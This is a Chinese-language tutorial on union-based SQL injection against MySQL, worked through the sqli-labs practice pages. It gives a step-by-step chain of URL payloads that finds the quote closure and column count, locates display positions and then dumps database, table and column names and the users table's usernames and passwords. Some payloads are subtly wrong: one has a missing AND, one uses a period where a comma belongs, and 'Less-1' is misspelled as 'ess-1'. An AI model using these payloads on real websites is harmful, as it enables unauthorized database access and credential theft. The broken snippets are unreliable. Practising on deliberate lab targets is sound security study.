目录
原理
1.能够传参(不一定是网站前面的接口),且背后的数据库是mysql数据库。
2.web应用程序对用户输入数据(web表单)的合法性没有判断或过滤不严,通过输恶意sql语句到数据库以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。。
常用语句
and 用于判断是否哪种闭合
order by 用来求列数
union 用来求显示位
select....form.... 从哪里找查
information_schema库的tables表里有所有加其他库表的表名
information_schema库的columns表里有所有加其他列的列名
步骤
1.求闭合
这里以get传参,id为参数为例。
SELECT * FROM users WHERE id=$id LIMIT 0,1 对应整形
SELECT * FROM users WHERE id='$id' LIMIT 0,1 对应字符型
上面时背后数据库关于参数的真实语句
下面时输入语句
Less-1/?id=1 and 1=2
当1=2报错是则 and没有被当作字符串所以是整形注入,当1=2没报错时则id=1 and 1=2 被作为整个字符串所以是字符型注入,且要继续判断闭合方式。
Less-1/?id=3' and 1=1-- -
Less-1/?id=3" and 1=1-- -
Less-1/?id=3') and 1=1-- -
哪个不报错就是那种闭合,后门的-- -是用来注释掉多出来的闭合符号
2.求列数
下面以字符型注入为例,且闭合方式为单引号闭合。
Less-3/?id=1'and 1=1 order by +数字 -- -
order by后面的数字是用来判断列数的,若数字大于真实列则会报错,若小于等于真实列则不会报错,由此可以判断此网页的真实列。因为后面的求显示位的union函数则是使用前提就是显示的列要与网页的列相一致。
3.求显示位
ess-1/?id=1' union select 1,2,3-- -
不断的在上面输入1,2,3数字直到与对应的列数相同为止,例如通过order by求出来的列是3列那就是ess-1/?id=1' union select 1,2,3-- -若是四个则是ess-1/?id=1' union select 1,2,3,4-- -然后通过页面反应会把哪个数字显示到页面的哪个位置,那就在这个数字的位置注入恶意sql语句,回显的时候也会在之前回显哪个数字的地方回显信息。
4.求数据库
这里设列有三个,第二位位显示位。
/Less-1/?id=1' and 1=2 union select 1,database(),3-- -
databaes()是sql语句中求当前所在的数据库名,会在原来回显2的地方回显数据库名
5.求表名
/Less-2/?id=-1 union select 1,group_concat(table_name),3
from information_schema.tables where table_schema=database()-- -
这句话的从(form)information_schema这个库的tables表中找到名为table_name的列并且字段名为要是当前数据库名table_schema=database()。
6.求列
Less-2/?id=-1 union select 1,group_concat(column_name),3
from information_schema.columns where table_schema=database() table_name='users'-- -
这句话的意思是从(select form)nformation_schema数据库的coluums表中找到column_name列
并且这个列是当前数据库内的且表名user的列
7.求字段
/Less-2/?id=-1 union select 1,group_concat(id,username,password).3 from users-- -
这句话的意思是求从users列中求id,username,password字段